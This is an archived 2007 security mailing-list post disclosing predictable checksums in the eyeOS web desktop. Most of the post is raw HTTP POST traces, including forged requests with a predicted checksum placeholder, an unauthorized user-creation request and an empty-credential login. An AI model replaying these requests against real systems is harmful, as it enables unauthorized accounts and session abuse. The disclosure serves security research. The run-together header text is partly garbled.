|
|||||||||||
|
eyeOS checksum prediction
From: <komarov(at)itdefence.ru>
Date: Mon Aug 27 2007 - 14:48:21 EDT
eyeOS operates with special intermediate checksums in plaintext. Without its validation it is impossible to make new actions (to login, start new services). There is way to predict eyeOS checksum. If it is automated from hackers side, it will make local Denial Of Service atack or user password stealing.
21db
... widgets generation 3.
POST /index.php?checknum=876029936871&msg=doLogin HTTP/1.1 (!)
Host: demo.eyeos.org
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7Keep-Alive: 300 Connection: keep-alive Content-Type: application/x-www-form-urlencoded; Referer: http://demo.eyeos.org/ Content-Length: 117 Cookie: PHPSESSID=ad92920e4ab606df75b28702255a87c8 Pragma: no-cache Cache-Control: no-cache params=%3CeyeLogin_Username%3Edemo23%3C%2FeyeLogin_Username%3E%3CeyeLogin_Password%3Edemo23%3C%2FeyeLogin_Password%3E 4.
POST /index.php?checknum=876029936871&msg=successLogin HTTP/1.1
Host: demo.eyeos.org
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7Keep-Alive: 300 Connection: keep-alive Content-Type: application/x-www-form-urlencoded; Referer: http://demo.eyeos.org/ Content-Length: 7 Cookie: PHPSESSID=ad92920e4ab606df75b28702255a87c8 Pragma: no-cache Cache-Control: no-cache >>> <checknum>749058867402</checknum> POST /index.php?checknum=432461038814&msg=Launch HTTP/1.1 POST /index.php?checknum=432461038814&msg=App_Clicked HTTP/1.1 On this method is based possible atacks:
POST /index.php?checknum=PREDICTID_checksum&msg=addMsg HTTP/1.1
params=%3Capp%3EeyeBoard%3C%2Fapp%3E
POST /index.php?checknum=326420826018&msg=doCreateUser HTTP/1.1
Host: 127.0.0.1:8080
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7Keep-Alive: 300 Connection: keep-alive Content-Type: application/x-www-form-urlencoded; Referer: http://127.0.0.1:8080/ Content-Length: 161 Cookie: PHPSESSID=r9vivth7896gtbaj6bst0nlen7 Pragma: no-cache Cache-Control: no-cache params=%3CeyeLogin_newUser%3ESHALOMA%3C%2FeyeLogin_newUser%3E%3CeyeLogin_Pass1%3Eshaloma%3C%2FeyeLogin_Pass1%3E%3CeyeLogin_Pass2%3Eshaloma%3C%2FeyeLogin_Pass2%3E
POST /index.php?checknum=284626275746&msg=doLogin HTTP/1.1
Accept: */*
params=%3CeyeLogin_Username%3E%3C%2FeyeLogin_Username%3E%3CeyeLogin_Password%3E%3C%2FeyeLogin_Password%3E Received on Mon Aug 27 16:35:08 2007 This archive was generated by hypermail 2.1.8 : Sun Oct 28 2007 - 06:13:40 EDT |
||||||||||
|
|||||||||||